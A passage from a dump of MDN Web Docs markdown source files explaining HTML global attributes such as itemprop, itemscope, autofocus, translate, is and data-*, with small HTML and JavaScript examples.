aria-owns="language-menu" aria-label="Current language is English. Choose your preferred language."> English <span class="dropdown-arrow-down" aria-hidden="true">▼</span> </button> <ul id="language-menu" class="dropdown-menu-items right show" aria-expanded="true" role="menu"> <li lang="ca" role="menuitem"> <a href="/ca/docs/Web/HTML/Global_attributes/lang" title="Catalan"> <bdi>Català</bdi> </a> </li> <li lang="de" role="menuitem"> <a href="/de/docs/Web/HTML/Globale_Attribute/lang" title="German"> <bdi>Deutsch</bdi> </a> </li> <li lang="es" role="menuitem"> <a href="/es/docs/Web/HTML/Atributos_Globales/lang" title="Spanish"> <bdi>Español</bdi> </a> </li> <li lang="fr" role="menuitem"> <a href="/fr/docs/Web/HTML/Attributs_universels/lang" title="French"> <bdi>Français</bdi> </a> </li> <li lang="ja" role="menuitem"> <a href="/ja/docs/Web/HTML/Global_attributes/lang" title="Japanese"> <bdi>日本語</bdi> </a> </li> <li lang="ko" role="menuitem"> <a href="/ko/docs/Web/HTML/Global_attributes/lang" title="Korean"> <bdi>한국어</bdi> </a> </li> <li lang="pt-BR" role="menuitem"> <a href="/pt-BR/docs/Web/HTML/Global_attributes/lang" title="Portuguese (Brazilian)"> <bdi>Português (do&nbsp;Brasil)</bdi> </a> </li> <li lang="ru" role="menuitem"> <a href="/ru/docs/Web/HTML/Global_attributes/lang" title="Russian"> <bdi>Русский</bdi> </a> </li> <li lang="uk" role="menuitem"> <a href="/uk/docs/Web/HTML/%D0%97%D0%B0%D0%B3%D0%B0%D0%BB%D1%8C%D0%BD%D1%96_%D0%B0%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D0%B8/lang" title="Ukrainian"> <bdi>Українська</bdi> </a> </li> <li lang="zh-Hans" role="menuitem"> <a href="/zh-CN/docs/Web/HTML/Global_attributes/lang" title="Chinese (Simplified)"> <bdi>中文 (简体)</bdi> </a> </li> <li> <a href="/en-US/docs/Web/HTML/Global_attributes/lang$locales" rel="nofollow" id="translations-add"> Add a translation </a> </li> </ul> </div> ``` ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes). - [`Content-Language` HTTP Header](/en-US/docs/Web/HTTP/Headers/Content-Language) - HTML [`translate`](/en-US/docs/Web/HTML/Global_attributes#translate) attribute
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/itemprop/index.md
--- title: itemprop slug: Web/HTML/Global_attributes/itemprop page-type: html-attribute browser-compat: html.global_attributes.itemprop --- {{HTMLSidebar("Global_attributes")}} The **`itemprop`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is used to add properties to an item. Every HTML element can have an `itemprop` attribute specified, and an `itemprop` consists of a name-value pair. Each name-value pair is called a **property**, and a group of one or more properties forms an **item**. Property values are either a string or a URL and can be associated with a very wide range of elements including {{HTMLElement("audio")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("object")}}, {{HTMLElement("source")}}, {{HTMLElement("track")}}, and {{HTMLElement("video")}}. ## Examples The example below shows the source for a set of elements marked up with `itemprop` attributes, followed by a table showing the resulting structured data. ### HTML ```html <div itemscope itemtype="http://schema.org/Movie"> <h1 itemprop="name">Avatar</h1> <span> Director: <span itemprop="director">James Cameron</span> (born August 16, 1954) </span> <span itemprop="genre">Science fiction</span> <a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer"> Trailer </a> </div> ``` ### Structured data <table class="standard-table"> <tbody> <tr> <td rowspan="2"> </td> <th colspan="2"><strong>Item</strong></th> </tr> <tr> <th><strong>itemprop name</strong></th> <th><strong>itemprop value</strong></th> </tr> <tr> <td>itemprop</td> <td>name</td> <td>Avatar</td> </tr> <tr> <td>itemprop</td> <td>director</td> <td>James Cameron</td> </tr> <tr> <td>itemprop</td> <td>genre</td> <td>Science fiction</td> </tr> <tr> <td>itemprop</td> <td>trailer</td> <td>../movies/avatar-theatrical-trailer.html</td> </tr> </tbody> </table> ## Properties Properties have values that are either a string or a URL. When a string value is a URL, it is expressed using the {{HTMLElement("a")}} element and its [`href`](/en-US/docs/Web/HTML/Element/a#href) attribute, the {{HTMLElement("img")}} element and its [`src`](/en-US/docs/Web/HTML/Element/img#src) attribute, or other elements that link to or embed external resources. ### Three properties with values that are strings ```html <div itemscope> <p>My name is <span itemprop="name">Neil</span>.</p> <p>My band is called <span itemprop="band">Four Parts Water</span>.</p> <p>I am <span itemprop="nationality">British</span>.</p> </div> ``` ### One property, "image", whose value is a URL ```html <div itemscope> <img itemprop="image" src="google-logo.png" alt="Google" /> </div> ``` When a string value can't be easily read and understood by a person (e.g., a long string of numbers and letters), it can be displayed using the value attribute of the data element, with the more easily-understood-by-a human-version given in the element's contents (which is not part of the structured data - see example below). ### An item with a property whose value is a product ID The ID is not human-friendly, so the product's name is used instead. ```html <h1 itemscope> <data itemprop="product-id" value="9678AOU879">The Instigator 2000</data> </h1> ``` For numeric data, the meter element and its value attribute can be used. ### A meter element ```html <div itemscope itemtype="http://schema.org/Product"> <span itemprop="name">Panasonic White 60L Refrigerator</span> <img src="panasonic-fridge-60l-white.jpg" alt="" /> <div itemprop="aggregateRating" itemscope itemtype="http://schema.org/AggregateRating"> <meter itemprop="ratingValue" min="0" value="3.5" max="5"> Rated 3.5/5 </meter> (based on <span itemprop="reviewCount">11</span> customer reviews) </div> </div> ``` Similarly, for date- and time-related data, the time element and its datetime attribute can be used. ### An item with one property, "birthday", whose value is a date ```html <div itemscope> I was born on <time itemprop="birthday" datetime="1984-05-10">May 10th 1984</time>. </div> ``` Properties can also be groups of name-value pairs, by putting the itemscope attribute on the element that declares the property. Each value is either a string or a group of name-value pairs (i.e. an item). ### An outer item representing a person, and an inner one representing a band ```html <div itemscope> <p>Name: <span itemprop="name">Amanda</span></p> <p> Band: <span itemprop="band" itemscope> <span itemprop="name">Jazz Band</span> (<span itemprop="size">12</span> players) </span> </p> </div> ``` The outer item above has two properties, "name" and "band". The "name" is "Amanda", and the "band" is an item in its own right, with two properties, "name" and "size". The "name" of the band is "Jazz Band", and the "size" is "12". The outer item in this example is a top-level microdata item. Items that are not part of others are called top-level microdata items. ### All the properties separated from their items This example is the same as the previous one, but all the properties are separated from their items. ```html <div itemscope id="amanda" itemref="a b"></div> <p id="a">Name: <span itemprop="name">Amanda</span></p> <div id="b" itemprop="band" itemscope itemref="c"></div> <div id="c"> <p>Band: <span itemprop="name">Jazz Band</span></p> <p>Size: <span itemprop="size">12</span> players</p> </div> ``` This gives the same result as the previous example. The first item has two properties, "name", set to "Amanda", and "band", set to another item. That second item has two further properties, "name", set to "Jazz Band", and "size", set to "12". An item can have multiple properties with the same name and different values. ### Ice cream with two flavors ```html <div itemscope> <p>Flavors in my favorite ice cream:</p> <ul> <li itemprop="flavor">Lemon sorbet</li> <li itemprop="flavor">Apricot sorbet</li> </ul> </div> ``` This results in an item with two properties, both with the name "flavor" and having the values "Lemon sorbet" and "Apricot sorbet". An element introducing a property can also introduce multiple properties at once, to avoid duplication when some of the properties have the same value. ### An item with two properties, "favorite-color" and "favorite-fruit", both set to the value "orange" ```html <div itemscope> <span itemprop="favorite-color favorite-fruit" >orange </span> </div> ``` > **Note:** There is no relationship between the microdata and the content of the document where the microdata is marked up. ### Same structured data marked up in two different ways There is no semantic difference between the following two examples ```html <figure> <img src="castle.jpeg" /> <figcaption> <span itemscope><span itemprop="name">The Castle</span></span> (1986) </figcaption> </figure> ``` ```html <span itemscope><meta itemprop="name" content="The Castle" /></span> <figure> <img src="castle.jpeg" /> <figcaption>The Castle (1986)</figcaption> </figure> ``` Both have a figure with a caption, and both, completely unrelated to the figure, have an item with a name-value pair with the name "name" and the value "The Castle". The only difference is that if the user drags the figcaption out of the document, the item will be included in the drag-and-drop data. The image associated with the item won't be included. ## Names and values A property is an unordered set of unique tokens that are case-sensitive and represent the name-value pairs. The property value must have at least one token. In the example below, each data cell is a token. ### Names examples <table class="standard-table"> <thead> <tr> <th rowspan="2" scope="col"> </th> <th colspan="2" scope="col">Item</th> </tr> <tr> <th scope="col">itemprop <strong>name</strong></th> <th scope="col">itemprop <strong>value</strong></th> </tr> </thead> <tbody> <tr> <th>itemprop</th> <td>country</td> <td>Ireland</td> </tr> <tr> <th>itemprop</th> <td>Option</td> <td>2</td> </tr> <tr> <th>itemprop</th> <td>https://www.flickr.com/photos/nlireland/6992065114/</td> <td>Ring of Kerry</td> </tr> <tr> <th>itemprop</th> <td>img</td> <td>https://www.flickr.com/photos/nlireland/6992065114/</td> </tr> <tr> <th>itemprop</th> <td>website</td> <td>flickr</td> </tr> <tr> <th>itemprop</th> <td>(token)</td> <td>(token)</td> </tr> </tbody> </table> **Tokens** are either strings or URL's. An item is called a **typed item** if it is a URL. Otherwise, it is a string. Strings cannot contain a period or a colon (see below). 1. If the item is a typed item it must be either: 1. A defined property name, or 2. A valid URL, which refers to the vocabulary definition, or 3. A valid URL that is used as a proprietary item property name (i.e. one not defined in a public specification), or 2. If the item is not a typed item it must be: 1. A string that contains no "`.`" (U+002E FULL STOP) characters and no "`:`" characters (U+003A COLON) and is used as a proprietary item property name (again, one not defined in a public specification). > **Note:** The rules above disallow ":" characters in non-URL values because otherwise they could not be distinguished from URLs. Values with "." characters are reserved for future extensions. Space characters are disallowed because otherwise the values would be parsed as multiple tokens. ## Values The property value of a name-value pair is as given for the first matching case in the following list: - If the element has an `itemscope` attribute - The value is the **item** created by the element - If the element is a `meta` element - The value is the value of the element's `content` attribute - If the element is an `audio`, `embed`, `iframe`, `img`, `source`, `track`, or `video` element - The value is the resulting URL string that results from parsing the value of the element's src attribute relative to the node document (part of the [Microdata DOM API](/en-US/docs/Web/HTML/Microdata)) of the element at the time the attribute is set - If the element is an `a`, `area`, or `link` element - The value is the resulting URL string that results from parsing the value of the element's href attribute relative to the node document of the element at the time the attribute is set - If the element is an `object` element - The value is the resulting URL string that results from parsing the value of the element's data attribute relative to the node document of the element at the time the attribute is set - If the element is a `data` element - The value is the value of the element's value attribute - If the element is a `meter` element - The value is the value of the element's `value` attribute - If the element is a `time` element - The value is the element's `datetime` value Otherwise - The value is the element's _textContent_. If a property's value is a `URL`, the property must be specified using a URL property element. The URL property elements are the `a`, `area`, `audio`, `embed`, `iframe`, `img`, `link`, `object`, `source`, `track`, and `video` elements. ### Name order Names are unordered relative to each other, but if a particular name has multiple values, they do have a relative order. In the following example, the "a" property has the values "1" and "2", _in that order_, but whether the "a" property comes before the "b" property or not is not important. ```html <div itemscope> <p itemprop="a">1</p> <p itemprop="a">2</p> <p itemprop="b">test</p> </div> ``` Here are several equivalent examples: ```html <div itemscope> <p itemprop="b">test</p> <p itemprop="a">1</p> <p itemprop="a">2</p> </div> ``` ```html <div itemscope> <p itemprop="a">1</p> <p itemprop="b">test</p> <p itemprop="a">2</p> </div> ``` ```html <div id="x"> <p itemprop="a">1</p> </div> <div itemscope itemref="x"> <p itemprop="b">test</p> <p itemprop="a">2</p> </div> ``` ### Representing structured data for a book This example uses microdata attributes to represent the following structured data: <table class="standard-table"> <tbody> <tr> <td rowspan="4">itemscope</td> <td>itemtype: itemid</td> <td colspan="2">https://schema.org/Book: urn:isbn:0-374-22848-5</td> </tr> <tr> <td>itemprop</td> <td>title</td> <td>Owls of the Eastern Ice</td> </tr> <tr> <td>itemprop</td> <td>author</td> <td>Jonathan C Slaght</td> </tr> <tr> <td>itemprop</td> <td>datePublished</td> <td>2020-08-04</td> </tr> </tbody> </table> #### HTML ```html <dl itemscope itemtype="https://schema.org/Book" itemid="urn:isbn:0-374-22848-5<"> <dt>Title</dt> <dd itemprop="title">Owls of the Eastern Ice</dd> <dt>Author</dt> <dd itemprop="author">Jonathan C Slaght</dd> <dt>Publication date</dt> <dd> <time itemprop="datePublished" datetime="2020-08-04">August 4 2020</time> </dd> </dl> ``` #### Result {{EmbedLiveSample('Representing structured data for a book')}} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Other different global attributes](/en-US/docs/Web/HTML/Global_attributes) - Other microdata related global attributes: - [`itemid`](/en-US/docs/Web/HTML/Global_attributes/itemid) - [`itemref`](/en-US/docs/Web/HTML/Global_attributes/itemref) - [`itemscope`](/en-US/docs/Web/HTML/Global_attributes/itemscope) - [`itemtype`](/en-US/docs/Web/HTML/Global_attributes/itemtype)
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/autofocus/index.md
--- title: autofocus slug: Web/HTML/Global_attributes/autofocus page-type: html-attribute browser-compat: html.global_attributes.autofocus --- {{HTMLSidebar("Global_attributes")}} The **`autofocus`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is a Boolean attribute indicating that an element should be focused on page load, or when the {{HTMLElement("dialog")}} that it is part of is displayed. ```html <input name="q" autofocus /> ``` No more than one element in the document or dialog may have the autofocus attribute. If applied to multiple elements the first one will receive focus. > **Note:** The `autofocus` attribute applies to all elements, not just form controls. For example, it might be used on a [contenteditable](/en-US/docs/Web/HTML/Global_attributes/contenteditable) area. ## Accessibility concerns Automatically focusing a form control can confuse visually-impaired people using screen-reading technology and people with cognitive impairments. When `autofocus` is assigned, screen-readers "teleport" their user to the form control without warning them beforehand. Use careful consideration for accessibility when applying the `autofocus` attribute. Automatically focusing on a control can cause the page to scroll on load. The focus can also cause dynamic keyboards to display on some touch devices. While a screen reader will announce the label of the form control receiving focus, the screen reader will not announce anything before the label, and the sighted user on a small device will equally miss the context created by the preceding content. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}}
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/translate/index.md
--- title: translate slug: Web/HTML/Global_attributes/translate page-type: html-attribute browser-compat: html.global_attributes.translate --- {{HTMLSidebar("Global_attributes")}} The **`translate`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is an [enumerated](/en-US/docs/Glossary/Enumerated) attribute that is used to specify whether an element's _translatable attribute_ values and its {{domxref("Text")}} node children should be translated when the page is localized, or whether to leave them unchanged. It can have the following values: - empty string or `yes`, which indicates that the element should be translated when the page is localized. - `no`, which indicates that the element must not be translated. Although not all browsers recognize this attribute, it is respected by automatic translation systems such as Google Translate, and may also be respected by tools used by human translators. As such it's important that web authors use this attribute to mark content that should not be translated. ## Examples In this example, the `translate` attribute is used to ask translation tools not to translate the company's brand name in the footer. ```html <footer> <small>© 2020 <span translate="no">BrandName</span></small> </footer> ``` ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes). - The {{domxref("HTMLElement.translate")}} property that reflects this attribute. - [Using HTML's translate attribute](https://www.w3.org/International/questions/qa-translate-flag). - HTML [`lang`](/en-US/docs/Web/HTML/Global_attributes#lang) attribute
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/part/index.md
--- title: part slug: Web/HTML/Global_attributes/part page-type: html-attribute browser-compat: html.global_attributes.part --- {{HTMLSidebar("Global_attributes")}} The **`part`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) contains a space-separated list of the part names of the element. Part names allows CSS to select and style specific elements in a shadow tree via the {{CSSxRef("::part")}} pseudo-element. See the [`exportparts` attribute](/en-US/docs/Web/HTML/Global_attributes/exportparts) for a usage example. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [`exportparts`](/en-US/docs/Web/HTML/Global_attributes/exportparts) HTML attribute - {{HTMLElement("template")}} and {{HTMLElement("slot")}} HTML elements - {{CSSXref("::part")}} and {{CSSXref("::slotted")}} CSS pseudo-elements - [`ShadowRoot`]("/en-US/docs/Web/API/ShadowRoot) interface - {{DOMxRef("Element.part")}} property - [Using templates and slots](/en-US/docs/Web/API/Web_components/Using_templates_and_slots) - [CSS scoping](/en-US/docs/Web/CSS/CSS_scoping) module
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/is/index.md
--- title: is slug: Web/HTML/Global_attributes/is page-type: html-attribute browser-compat: html.global_attributes.is --- {{HTMLSidebar("Global_attributes")}} The **`is`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) allows you to specify that a standard HTML element should behave like a defined custom built-in element (see [Using custom elements](/en-US/docs/Web/API/Web_components/Using_custom_elements) for more details). This attribute can only be used if the specified custom element name has been successfully [defined](/en-US/docs/Web/API/CustomElementRegistry/define) in the current document, and extends the element type it is being applied to. ## Examples The following code is taken from our [word-count-web-component](https://github.com/mdn/web-components-examples/tree/main/word-count-web-component) example ([see it live also](https://mdn.github.io/web-components-examples/word-count-web-component/)). ```js // Create a class for the element class WordCount extends HTMLParagraphElement { constructor() { // Always call super first in constructor super(); // Constructor contents omitted for brevity // … } } // Define the new element customElements.define("word-count", WordCount, { extends: "p" }); ``` ```html <p is="word-count"></p> ``` ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes).
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/itemscope/index.md
--- title: itemscope slug: Web/HTML/Global_attributes/itemscope page-type: html-attribute browser-compat: html.global_attributes.itemscope --- {{HTMLSidebar("Global_attributes")}} **`itemscope`** is a boolean [global attribute](/en-US/docs/Web/HTML/Global_attributes) that defines the scope of associated metadata. Specifying the **`itemscope`** attribute for an element creates a new item, which results in a number of name-value pairs that are associated with the element. A related attribute, [`itemtype`](/en-US/docs/Web/HTML/Global_attributes/itemtype), is used to specify the valid URL of a vocabulary (such as [schema.org](https://schema.org/)) that describes the item and its properties context. In each of the following examples, the vocabulary is from [schema.org](https://schema.org/). Every HTML element may have an `itemscope` attribute specified. An `itemscope` element that does not have an associated `itemtype` must have an associated `itemref`. > **Note:** Find more about `itemtype` attributes at <https://schema.org/Thing> ### itemscope id attributes When you specify the `itemscope` attribute for an element, a new item is created. The item consists of a group of name-value pairs. For elements with an `itemscope` attribute and an `itemtype` attribute, you may also specify an [`id`](/en-US/docs/Web/HTML/Global_attributes#id) attribute. You can use the `id` attribute to set a global identifier for the new item. A global identifier allows the item to relate to other items found on pages across the Web. ## Examples ### Representing structured data for a movie The following example specifies the `itemtype` as "http\://schema.org/Movie", and specifies four related `itemprop` attributes. <table class="standard-table"> <tbody> <tr> <td rowspan="6">itemscope</td> <td>Itemtype</td> <td colspan="2">Movie</td> </tr> <tr> <td>itemprop</td> <td>(itemprop name)</td> <td>(itemprop value)</td> </tr> <tr> <td>itemprop</td> <td>director</td> <td>James Cameron</td> </tr> <tr> <td>itemprop</td> <td>genre</td> <td>Science Fiction</td> </tr> <tr> <td>itemprop</td> <td>name</td> <td>Avatar</td> </tr> <tr> <td>itemprop</td> <td>Trailer</td> <td>https://youtu.be/0AY1XIkX7bY</td> </tr> </tbody> </table> ```html <div itemscope itemtype="https://schema.org/Movie"> <h1 itemprop="name">Avatar</h1> <span> Director: <span itemprop="director">James Cameron</span> (born August 16, 1954) </span> <span itemprop="genre">Science fiction</span> <a href="https://youtu.be/0AY1XIkX7bY" itemprop="trailer">Trailer</a> </div> ``` ### Representing structured data for a recipe There are four `itemscope` attributes in the following example. Each `itemscope` attribute sets the scope of its corresponding `itemtype` attribute. The `itemtype`s, `Recipe`, `AggregateRating`, and `NutritionInformation` in the following example are part of the [schema.org](www.schema.org) structured data for a recipe, as specified by the first `itemtype`, `http://schema.org/Recipe`. <table class="standard-table"> <tbody> <tr> <td rowspan="14">itemscope</td> <td>itemtype</td> <td colspan="2">Recipe</td> </tr> <tr> <td>itemprop</td> <td>name</td> <td>Grandma's Holiday Apple Pie</td> </tr> <tr> <td>itemprop</td> <td>image</td> <td>https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg</td> </tr> <tr> <td>itemprop</td> <td>datePublished</td> <td>2022-11-05</td> </tr> <tr> <td>itemprop</td> <td>description</td> <td> This is my grandmother's apple pie recipe. I like to add a dash of nutmeg. </td> </tr> <tr> <td>itemprop</td> <td>prepTime</td> <td>PT30M</td> </tr> <tr> <td>itemprop</td> <td>cookTime</td> <td>PT1H</td> </tr> <tr> <td>itemprop</td> <td>totalTime</td> <td>PT1H30M</td> </tr> <tr> <td>itemprop</td> <td>recipeYield</td> <td>1 9" pie (8 servings)</td> </tr> <tr> <td>itemprop</td> <td>recipeIngredient</td> <td>Thinly-sliced apples: 6 cups</td> </tr> <tr> <td>itemprop</td> <td>recipeIngredient</td> <td>White sugar: 3/4 cup</td> </tr> <tr> <td>itemprop</td> <td>recipeInstructions</td> <td> 1. Cut and peel apples 2. Mix sugar and cinnamon. Use additional sugar for tart apples. </td> </tr> <tr> <td>itemprop</td> <td colspan="2">author [Person]</td> </tr> <tr> <td>itemprop</td> <td>name</td> <td>Carol Smith</td> </tr> <tr> <td rowspan="3">itemscope</td> <td>itemprop[itemtype]</td> <td colspan="2">aggregateRating [AggregateRating]</td> </tr> <tr> <td>itemprop</td> <td>ratingValue</td> <td>4.0</td> </tr> <tr> <td>itemprop</td> <td>reviewCount</td> <td>35</td> </tr> <tr> <td rowspan="4">itemscope</td> <td>itemprop[itemtype]</td> <td colspan="2">nutrition [NutritionInformation]</td> </tr> <tr> <td>itemprop</td> <td>servingSize</td> <td>1 medium slice</td> </tr> <tr> <td>itemprop</td> <td>calories</td> <td>250 cal</td> </tr> <tr> <td>itemprop</td> <td>fatContent</td> <td>12 g</td> </tr> </tbody> </table> > **Note:** A handy tool for extracting microdata structures from HTML is Google's [Rich Results Testing Tool](https://search.google.com/test/rich-results). Try it on the HTML shown here. #### HTML ```html <div itemscope itemtype="https://schema.org/Recipe"> <h2 itemprop="name">Grandma's Holiday Apple Pie</h2> <img itemprop="image" src="https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg" width="50" height="50" /> <p> By <span itemprop="author" itemscope itemtype="https://schema.org/Person"> <span itemprop="name">Carol Smith</span> </span> </p> <p> Published: <time datetime="2022-11-05" itemprop="datePublished"> November 5, 20022 </time> </p> <span itemprop="description"> This is my grandmother's apple pie recipe. I like to add a dash of nutmeg. </span> <br /> <span itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating"> <span itemprop="ratingValue">4.0</span> stars based on <span itemprop="reviewCount">35</span> reviews </span> <br /> Prep time: <time datetime="PT30M" itemprop="prepTime">30 min</time> <br /> Cook time: <time datetime="PT1H" itemprop="cookTime">1 hour</time> <br /> Total time: <time datetime="PT1H30M" itemprop="totalTime">1 hour 30 min</time> <br /> Yield: <span itemprop="recipeYield">1 9" pie (8 servings)</span> <br /> <span itemprop="nutrition" itemscope itemtype="https://schema.org/NutritionInformation"> Serving size: <span itemprop="servingSize">1 medium slice</span><br /> Calories per serving: <span itemprop="calories">250 cal</span><br /> Fat per serving: <span itemprop="fatContent">12 g</span><br /> </span> <p> Ingredients:<br /> <span itemprop="recipeIngredient">Thinly-sliced apples: 6 cups<br /></span> <span itemprop="recipeIngredient">White sugar: 3/4 cup<br /></span> … </p> Directions: <br /> <div itemprop="recipeInstructions"> 1. Cut and peel apples<br /> 2. Mix sugar and cinnamon. Use additional sugar for tart apples. <br /> … </div> </div> ``` #### Result {{EmbedLiveSample('Representing structured data for a recipe', '', '550')}} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Other different global attributes](/en-US/docs/Web/HTML/Global_attributes) - Other microdata related global attributes: - [`itemid`](/en-US/docs/Web/HTML/Global_attributes/itemid) - [`itemprop`](/en-US/docs/Web/HTML/Global_attributes/itemprop) - [`itemref`](/en-US/docs/Web/HTML/Global_attributes/itemref) - [`itemtype`](/en-US/docs/Web/HTML/Global_attributes/itemtype)
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/virtualkeyboardpolicy/index.md
--- title: virtualkeyboardpolicy slug: Web/HTML/Global_attributes/virtualkeyboardpolicy page-type: html-attribute status: - experimental browser-compat: html.global_attributes.virtualkeyboardpolicy --- {{HTMLSidebar("Global_attributes")}}{{SeeCompatTable}} The **`virtualkeyboardpolicy`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) is an enumerated attribute. When specified on an element that the element's content is editable (for example, it is an {{htmlelement("input")}} or {{htmlelement("textarea")}} element, or an element with the [`contenteditable`](/en-US/docs/Web/HTML/Global_attributes/contenteditable) attribute set), it controls the on-screen virtual keyboard behavior on devices such as tablets, mobile phones, or other devices where a hardware keyboard may not be available. The attribute must take one of the following values: - `auto` or an _empty string_, which automatically shows the virtual keyboard when the element is focused or tapped. - `manual`, which decouples focus and tap on the element from the virtual keyboard's state. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes) - {{domxref("HTMLElement.contentEditable")}} and {{domxref("HTMLElement.isContentEditable")}} - {{domxref("VirtualKeyboard_API", "The VirtualKeyboard API", "", "nocode")}}
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/data-_star_/index.md
--- title: data-* slug: Web/HTML/Global_attributes/data-* page-type: html-attribute browser-compat: html.global_attributes.data_attributes --- {{HTMLSidebar("Global_attributes")}} The **`data-*`** [global attributes](/en-US/docs/Web/HTML/Global_attributes) form a class of attributes called **custom data attributes**, that allow proprietary information to be exchanged between the [HTML](/en-US/docs/Web/HTML) and its [DOM](/en-US/docs/Web/API/Document_Object_Model) representation by scripts. {{EmbedInteractiveExample("pages/tabbed/attribute-data.html","tabbed-standard")}} All such custom data are available via the {{domxref("HTMLElement")}} interface of the element the attribute is set on. The {{domxref("HTMLElement.dataset")}} property gives access to them. The `*` may be replaced by any name following [the production rule of XML names](https://www.w3.org/TR/REC-xml/#NT-Name) which includes the following recommendations: - The name should not start with `xml` (case-insensitive), as it's reserved for future XML specifications. - The name should not contain any colon characters (`:`), as XML assigns meaning to such names. - The name should not contain any capital letters, as XML is all lowercase. These are recommendations. If these naming recommendations are not followed, no errors will occur. The attributes will still be matched using CSS [attribute selectors](/en-US/docs/Web/CSS/Attribute_selectors), with the attribute being case insensitive and any attribute value being case-sensitive. Attributes not conforming to these three recommendations will also still be recognized by the JavaScript {{domxref("HTMLElement.dataset")}} property and user-agents will include the attribute in the {{domxref("DOMStringMap")}} containing all the custom data attributes for an {{domxref("HTMLElement")}}. If you plan to use {{domxref("HTMLElement.dataset")}}, the portion of the attribute name following the `data-` can only include characters allowed in JavaScript property names (and hyphens, which will be removed). The `dataset` version of the attribute name removes the "data-" prefix and converts the rest of the name from {{Glossary("kebab_case", "kebab-case")}} to camelCase. For example, `element.getAttribute("data-test")` is equivalent to `element.dataset.test` and `data-test-abc` will be accessible as `HTMLElement.dataset.testAbc` (or by `HTMLElement.dataset["testAbc"]`). Avoid non-alphabetic characters following a hyphen, such as `data-test-1` or `data--test`, as they will not be recognized by {{domxref("HTMLElement.dataset")}}. ### Usage By adding `data-*` attributes, even ordinary HTML elements can become rather complex and powerful program-objects. For example, a space-ship "[sprite](<https://en.wikipedia.org/wiki/Sprite_(computer_graphics)>)_"_ in a game could be a simple {{HTMLElement("img")}} element with a [`class`](/en-US/docs/Web/HTML/Global_attributes/class) attribute and several `data-*` attributes: ```html <img class="spaceship cruiserX3" src="shipX3.png" data-ship-id="324" data-weapons="laserI laserII" data-shields="72%" data-x="414354" data-y="85160" data-z="31940" onclick="spaceships[this.dataset.shipId].blasted()" /> ``` For a more in-depth tutorial about using HTML data attributes, see [Using data attributes](/en-US/docs/Learn/HTML/Howto/Use_data_attributes). ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - All [global attributes](/en-US/docs/Web/HTML/Global_attributes). - The {{domxref("HTMLElement.dataset")}} property that allows to access and modify these values. - [Using data attributes](/en-US/docs/Learn/HTML/Howto/Use_data_attributes)
0
data/mdn-content/files/en-us/web/html/global_attributes
data/mdn-content/files/en-us/web/html/global_attributes/id/index.md
--- title: id slug: Web/HTML/Global_attributes/id page-type: html-attribute browser-compat: html.global_attributes.id --- {{HTMLSidebar("Global_attributes")}} The **`id`** [global attribute](/en-US/docs/Web/HTML/Global_attributes) defines an identifier (ID) which must be unique in the whole document. Its purpose is to identify the element when linking (using a [fragment identifier](/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web#fragment)), scripting, or styling (with {{glossary("CSS")}}). {{EmbedInteractiveExample("pages/tabbed/attribute-id.html","tabbed-shorter")}} > **Warning:** This attribute's value is an opaque string: this means that web authors should not rely on it to convey human-readable information (although having your IDs somewhat human-readable can be useful for code comprehension, e.g. consider `ticket-18659` versus `r45tgfe-freds&$@`). An `id`'s value must not contain {{glossary("whitespace")}} (spaces, tabs, etc.). Browsers treat non-conforming IDs that contain whitespace as if the whitespace is part of the ID. In contrast to the [`class`](/en-US/docs/Web/HTML/Global_attributes#class) attribute, which allows space-separated values, elements can only have one single ID value. Technically, the value for an `id` attribute may contain any character, except {{glossary("whitespace")}} characters. However, to avoid inadvertent errors, only {{glossary("ASCII")}} letters, digits, `'_'`, and `'-'` should be used, and the value for an `id` attribute should start with a letter. For example, `.` has a special meaning in CSS (it starts a [class selector](/en-US/docs/Web/CSS/Class_selectors)). While valid, unless you are careful to escape it when used as part of a CSS selector, it won't be recognized as part of the element's `id`. The same applies to the [`querySelector()`](/en-US/docs/Web/API/Document/querySelector) and [`querySelectorAll()`](/en-US/docs/Web/API/Document/querySelectorAll) parameters, which use the same selector syntax. It is easy to forget to do this, resulting in bugs in your code that could be hard to detect. Similarly, an `id` starting with a digit (E.g., `1234-322-678`) or a hyphen followed by a digit (E.g., `-123`), though valid in HTML, may lead to problems when used in CSS, JavaScript, and Web APIs: - CSS [ID selectors](/en-US/docs/Web/CSS/ID_selectors) accept any 